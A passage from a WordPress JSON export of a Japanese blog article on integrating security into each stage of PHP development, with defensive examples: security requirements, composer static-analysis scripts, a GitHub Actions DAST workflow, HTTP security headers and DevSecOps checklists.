\u8a2d\u8a08\u6bb5\u968e\u3067\u767a\u898b\u3055\u308c\u305f\u8106\u5f31\u6027\u306e\u4fee\u6b63\u30b3\u30b9\u30c8\u306f\u3001\u672c\u756a\u74b0\u5883\u3067\u767a\u898b\u3055\u308c\u305f\u5834\u5408\u306e\u7d041\/30<\/em><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-255\">\u958b\u767a\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u5404\u6bb5\u968e\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7d71\u5408<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-256\">1. \u8981\u4ef6\u5b9a\u7fa9\u30fb\u8a2d\u8a08\u6bb5\u968e<\/h5>\n\n\n\n<p>\u8981\u4ef6\u5b9a\u7fa9\u3068\u8a2d\u8a08\u306e\u6bb5\u968e\u304b\u3089\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u8003\u616e\u3059\u308b\u3053\u3068\u3067\u3001\u6839\u672c\u7684\u306a\u8106\u5f31\u6027\u3092\u9632\u304e\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u4f8b\n$securityRequirements = [\n    'authentication' =&gt; [\n        'multi_factor' =&gt; true,\n        'password_policy' =&gt; 'minimum 12 chars, mixed case, numbers, symbols',\n        'account_lockout' =&gt; '5 failed attempts'\n    ],\n    'authorization' =&gt; [\n        'rbac_model' =&gt; true,\n        'least_privilege' =&gt; true\n    ],\n    'data_protection' =&gt; [\n        'encryption_at_rest' =&gt; true,\n        'encryption_in_transit' =&gt; true,\n        'pii_handling' =&gt; 'strict validation and minimal storage'\n    ]\n];\n<\/pre>\n\n\n\n<p><strong>\u5b9f\u8df5\u3059\u3079\u304d\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8105\u5a01\u30e2\u30c7\u30ea\u30f3\u30b0\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u5b9f\u65bd<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u660e\u793a\u7684\u306a\u6587\u66f8\u5316<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u30ec\u30d3\u30e5\u30fc<\/li>\n\n\n\n<li>\u30d7\u30e9\u30a4\u30d0\u30b7\u30fc\u30d0\u30a4\u30c7\u30b6\u30a4\u30f3\u306e\u691c\u8a0e<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-257\">2. \u958b\u767a\u30fb\u5b9f\u88c5\u6bb5\u968e<\/h5>\n\n\n\n<p>\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u6bb5\u968e\u3067\u306f\u3001\u30bb\u30ad\u30e5\u30a2\u306a\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u7fd2\u6163\u3068\u7d99\u7d9a\u7684\u306a\u30ec\u30d3\u30e5\u30fc\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>PHP\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3078\u306e\u5b9f\u88c5\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u4f8b: composer.json\n{\n  \"require-dev\": {\n    \"phpstan\/phpstan\": \"^1.10\",\n    \"vimeo\/psalm\": \"^5.6\",\n    \"squizlabs\/php_codesniffer\": \"^3.7\",\n    \"phpunit\/phpunit\": \"^9.5\"\n  },\n  \"scripts\": {\n    \"security-check\": [\n      \"phpstan analyse src tests\",\n      \"psalm --show-info=false\",\n      \"phpcs --standard=PSR12 src\",\n      \"composer audit\"\n    ],\n    \"pre-commit\": [\n      \"@security-check\",\n      \"phpunit\"\n    ]\n  }\n}\n<\/pre>\n\n\n\n<p><strong>\u5b9f\u8df5\u3059\u3079\u304d\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306e\u7b56\u5b9a\u3068\u9075\u5b88<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u7126\u70b9\u3092\u5f53\u3066\u305f\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u306e\u5b9f\u65bd<\/li>\n\n\n\n<li>\u7d99\u7d9a\u7684\u306a\u9759\u7684\u89e3\u6790\u306e\u5b9f\u884c<\/li>\n\n\n\n<li>\u30da\u30a2\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0\u306b\u3088\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u77e5\u8b58\u306e\u5171\u6709<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-258\">3. \u30c6\u30b9\u30c8\u6bb5\u968e<\/h5>\n\n\n\n<p>\u30c6\u30b9\u30c8\u6bb5\u968e\u3067\u306f\u3001\u901a\u5e38\u306e\u6a5f\u80fd\u30c6\u30b9\u30c8\u306b\u52a0\u3048\u3066\u3001\u5c02\u7528\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092\u5b9f\u65bd\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u81ea\u52d5\u5316\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u30ef\u30fc\u30af\u30d5\u30ed\u30fc\u4f8b: .github\/workflows\/security.yml\nname: Security Tests\n\non:\n  push:\n    branches: [ main, develop ]\n  pull_request:\n    branches: [ main ]\n\njobs:\n  security:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v3\n      \n      - name: Setup PHP\n        uses: shivammathur\/setup-php@v2\n        with:\n          php-version: '8.1'\n          tools: composer:v2\n          \n      - name: Install Dependencies\n        run: composer install --prefer-dist --no-progress\n        \n      - name: Static Analysis\n        run: composer security-check\n        \n      - name: DAST Scan\n        uses: zaproxy\/action-baseline@v0.7.0\n        with:\n          target: 'https:\/\/staging.example.com'\n<\/pre>\n\n\n\n<p><strong>\u5b9f\u8df5\u3059\u3079\u304d\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u81ea\u52d5\u5316\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8<\/li>\n\n\n\n<li>DAST (Dynamic Application Security Testing)<\/li>\n\n\n\n<li>\u5b9a\u671f\u7684\u306a\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8<\/li>\n\n\n\n<li>\u30d5\u30a1\u30b8\u30f3\u30b0\u30c6\u30b9\u30c8\uff08\u4e88\u671f\u3057\u306a\u3044\u5165\u529b\u3067\u306e\u691c\u8a3c\uff09<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-259\">4. \u30c7\u30d7\u30ed\u30a4\u30fb\u904b\u7528\u6bb5\u968e<\/h5>\n\n\n\n<p>\u30c7\u30d7\u30ed\u30a4\u3068\u904b\u7528\u306e\u6bb5\u968e\u3067\u306f\u3001\u30bb\u30ad\u30e5\u30a2\u306a\u74b0\u5883\u8a2d\u5b9a\u3068\u7d99\u7d9a\u7684\u306a\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u904b\u7528\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u672c\u756a\u74b0\u5883\u7528\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d8\u30c3\u30c0\u30fc\u8a2d\u5b9a\nfunction configureSecurityHeaders() {\n    \/\/ Content-Security-Policy\n    header(\"Content-Security-Policy: default-src 'self'; script-src 'self' https:\/\/trusted-cdn.com; style-src 'self' https:\/\/trusted-cdn.com; img-src 'self' data:;\");\n    \n    \/\/ XSS Protection\n    header(\"X-XSS-Protection: 1; mode=block\");\n    \n    \/\/ Content-Type Options\n    header(\"X-Content-Type-Options: nosniff\");\n    \n    \/\/ Referrer Policy\n    header(\"Referrer-Policy: strict-origin-when-cross-origin\");\n    \n    \/\/ Feature Policy\n    header(\"Permissions-Policy: geolocation=(), camera=(), microphone=()\");\n    \n    \/\/ HTTP Strict Transport Security\n    header(\"Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\");\n    \n    \/\/ XSS Protection\n    header(\"X-XSS-Protection: 1; mode=block\");\n}\n<\/pre>\n\n\n\n<p><strong>\u5b9f\u8df5\u3059\u3079\u304d\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u8003\u616e\u3057\u305f\u30b5\u30fc\u30d0\u30fc\u8a2d\u5b9a<\/li>\n\n\n\n<li>\u7d99\u7d9a\u7684\u306a\u305c\u3044\u5f31\u6027\u30b9\u30ad\u30e3\u30f3<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ed\u30b0\u306e\u76e3\u8996\u3068\u5206\u6790<\/li>\n\n\n\n<li>\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u5bfe\u5fdc\u8a08\u753b\u306e\u7b56\u5b9a\u3068\u6f14\u7fd2<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-260\">DevSecOps: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3068\u958b\u767a\u306e\u7d71\u5408<\/h4>\n\n\n\n<p>DevSecOps\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u306f\u3001\u958b\u767a(Dev)\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3(Sec)\u3001\u904b\u7528(Ops)\u306e\u4e09\u8005\u3092\u5bc6\u63a5\u306b\u9023\u643a\u3055\u305b\u3001\u7d99\u7d9a\u7684\u306a\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u30eb\u30fc\u30d7\u3092\u78ba\u7acb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>DevSecOps\u5c0e\u5165\u306e\u30b9\u30c6\u30c3\u30d7<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u81ea\u52d5\u5316<\/strong>\n<ul class=\"wp-block-list\">\n<li>CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30e3\u30f3\u3092\u7d44\u307f\u8fbc\u3080<\/li>\n\n\n\n<li>\u81ea\u52d5\u5316\u3055\u308c\u305f\u30b3\u30f3\u30d7\u30e9\u30a4\u30a2\u30f3\u30b9\u30c1\u30a7\u30c3\u30af\u3092\u5c0e\u5165<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u7d50\u679c\u306b\u57fa\u3065\u304f\u30d3\u30eb\u30c9\u6210\u529f\/\u5931\u6557\u306e\u8a2d\u5b9a<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u5171\u540c\u8cac\u4efb\u30e2\u30c7\u30eb\u306e\u78ba\u7acb<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u300c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u5168\u54e1\u306e\u8cac\u4efb\u300d\u3068\u3044\u3046\u6587\u5316\u306e\u91b8\u6210<\/li>\n\n\n\n<li>\u958b\u767a\u8005\u5411\u3051\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u30d7\u30ed\u30b0\u30e9\u30e0<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30e3\u30f3\u30d4\u30aa\u30f3\u306e\u6307\u540d\u3068\u80b2\u6210<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u7d99\u7d9a\u7684\u306a\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u3068\u30ea\u30b9\u30af\u8a55\u4fa1<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6307\u6a19\u306e\u5b9a\u7fa9\u3068\u6e2c\u5b9a<\/li>\n\n\n\n<li>\u30ea\u30b9\u30af\u30d9\u30fc\u30b9\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u306b\u3088\u308b\u512a\u5148\u9806\u4f4d\u4ed8\u3051<\/li>\n\n\n\n<li>\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u3068\u6539\u5584\u30b5\u30a4\u30af\u30eb<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-261\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7d71\u5408\u306e\u305f\u3081\u306e\u7d44\u7e54\u7684\u30a2\u30d7\u30ed\u30fc\u30c1<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306b\u7d44\u307f\u8fbc\u3080\u305f\u3081\u306b\u306f\u3001\u6280\u8853\u3060\u3051\u3067\u306a\u304f\u7d44\u7e54\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u3082\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u7d44\u7e54\u7684\u30a2\u30d7\u30ed\u30fc\u30c1\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5f79\u5272\u3068\u8cac\u4efb\u306e\u660e\u78ba\u5316<\/strong> <code>- \u30d7\u30ed\u30c0\u30af\u30c8\u30aa\u30fc\u30ca\u30fc: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u512a\u5148\u9806\u4f4d\u4ed8\u3051 - \u958b\u767a\u8005: \u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u5b9f\u8df5\u3001\u9759\u7684\u89e3\u6790\u306e\u5b9f\u884c - QA: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u5b9f\u65bd - DevOps: \u30bb\u30ad\u30e5\u30a2\u306a\u74b0\u5883\u8a2d\u5b9a\u3001\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0 - \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0: \u30ac\u30a4\u30c0\u30f3\u30b9\u63d0\u4f9b\u3001\u9ad8\u5ea6\u306a\u8106\u5f31\u6027\u306e\u8a55\u4fa1<\/code><\/li>\n\n\n\n<li><strong>\u30a4\u30f3\u30bb\u30f3\u30c6\u30a3\u30d6\u3068\u8a55\u4fa1\u306e\u8abf\u6574<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u76ee\u6a19\u3092\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u8a55\u4fa1\u306b\u7d44\u307f\u8fbc\u3080<\/li>\n\n\n\n<li>\u8106\u5f31\u6027\u767a\u898b\u3068\u5831\u544a\u306b\u5bfe\u3059\u308b\u5831\u5968\u5236\u5ea6<\/li>\n\n\n\n<li>\u30c1\u30fc\u30e0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u9054\u6210\u5ea6\u306e\u53ef\u8996\u5316<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u7d99\u7d9a\u7684\u306a\u5b66\u7fd2\u3068\u6539\u5584<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3068\u30ef\u30fc\u30af\u30b7\u30e7\u30c3\u30d7<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u304b\u3089\u306e\u5b66\u3073\u306e\u5171\u6709<\/li>\n\n\n\n<li>\u696d\u754c\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306e\u8ffd\u8de1\u3068\u9069\u7528<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-262\">PHP\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7d71\u5408\u306e\u5b9f\u8df5\u4f8b<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306f\u3001PHP\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306b\u7d71\u5408\u3059\u308b\u5b9f\u8df5\u7684\u306a\u4f8b\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u7acb\u3061\u4e0a\u3052\u6642\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\n$securityCheckList = [\n    '\u8981\u4ef6\u5b9a\u7fa9' =&gt; [\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u660e\u6587\u5316',\n        '\u30c7\u30fc\u30bf\u4fdd\u8b77\u8981\u4ef6\u306e\u5b9a\u7fa9',\n        '\u8a8d\u8a3c\u30fb\u8a8d\u53ef\u30b9\u30ad\u30fc\u30e0\u306e\u8a2d\u8a08',\n        '\u8105\u5a01\u30e2\u30c7\u30ea\u30f3\u30b0\u306e\u5b9f\u65bd'\n    ],\n    '\u8a2d\u8a08' =&gt; [\n        '\u30bb\u30ad\u30e5\u30a2\u306a\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u30d1\u30bf\u30fc\u30f3\u306e\u9078\u629e',\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u306e\u8a2d\u8a08',\n        '\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u8a08',\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u30ec\u30d3\u30e5\u30fc'\n    ],\n    '\u958b\u767a' =&gt; [\n        '\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306e\u9075\u5b88',\n        '\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306e\u8a2d\u5b9a\u3068\u5b9f\u884c',\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u91cd\u8996\u306e\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc',\n        '\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u5b89\u5168\u6027\u78ba\u8a8d'\n    ],\n    '\u30c6\u30b9\u30c8' =&gt; [\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8\u306e\u4f5c\u6210',\n        'DAST\u306e\u5b9f\u65bd',\n        '\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u8a08\u753b\u3068\u5b9f\u65bd',\n        '\u8106\u5f31\u6027\u306e\u4fee\u6b63\u3068\u518d\u30c6\u30b9\u30c8'\n    ],\n    '\u30c7\u30d7\u30ed\u30a4' =&gt; [\n        '\u30bb\u30ad\u30e5\u30a2\u306a\u74b0\u5883\u8a2d\u5b9a\u306e\u78ba\u8a8d',\n        '\u672c\u756a\u30c7\u30fc\u30bf\u306e\u30b5\u30cb\u30bf\u30a4\u30ba',\n        '\u30c7\u30d7\u30ed\u30a4\u30d7\u30ed\u30bb\u30b9\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc',\n        '\u30ed\u30fc\u30eb\u30d0\u30c3\u30af\u8a08\u753b\u306e\u7b56\u5b9a'\n    ],\n    '\u904b\u7528' =&gt; [\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\u306e\u8a2d\u5b9a',\n        '\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u5bfe\u5fdc\u8a08\u753b\u306e\u7b56\u5b9a',\n        '\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30bb\u30b9\u30e1\u30f3\u30c8',\n        '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30c3\u30c1\u306e\u7ba1\u7406\u30d7\u30ed\u30bb\u30b9'\n    ]\n];\n<\/pre>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306b\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u8106\u5f31\u6027\u306e\u30ea\u30b9\u30af\u3092\u5927\u5e45\u306b\u524a\u6e1b\u3057\u3001\u3088\u308a\u5b89\u5168\u306aPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u52b9\u7387\u7684\u306b\u958b\u767a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5f8c\u4ed8\u3051\u3067\u5bfe\u5fdc\u3059\u308b\u5834\u5408\u306b\u6bd4\u3079\u3066\u3001\u9577\u671f\u7684\u306a\u30b3\u30b9\u30c8\u524a\u6e1b\u3068\u54c1\u8cea\u5411\u4e0a\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u958b\u767a\u306e\u5404\u6bb5\u968e\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u8003\u616e\u3057\u3001\u30c1\u30fc\u30e0\u5168\u4f53\u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u8cac\u4efb\u3092\u6301\u3064\u6587\u5316\u3092\u80b2\u3080\u3053\u3068\u3067\u3001\u771f\u306b\u5b89\u5168\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u73fe\u4ee3\u306eWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306b\u304a\u3044\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u6700\u3082\u91cd\u8981\u306a\u8981\u7d20\u306e\u4e00\u3064\u3067\u3059\u3002\u7279\u306bPHP\u306f\u4e16\u754c\u4e2d\u306e\u7d0479%\u306eWeb\u30b5\u30a4\u30c8\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3001\u305d\u306e\u8106\u5f31\u6027\u306f\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u683c\u597d\u306e\u6a19\u7684\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002 2024\u5e74\u304b\u3089202 &#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,37],"tags":[],"class_list":{"0":"post-3472","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-php","7":"category-php-security","8":"nothumb"},"_links":{"self":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts\/3472","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3472"}],"version-history":[{"count":2,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts\/3472\/revisions"}],"predecessor-version":[{"id":3474,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=\/wp\/v2\/posts\/3472\/revisions\/3474"}],"wp:attachment":[{"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3472"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3472"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dexall.co.jp\/articles\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3472"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}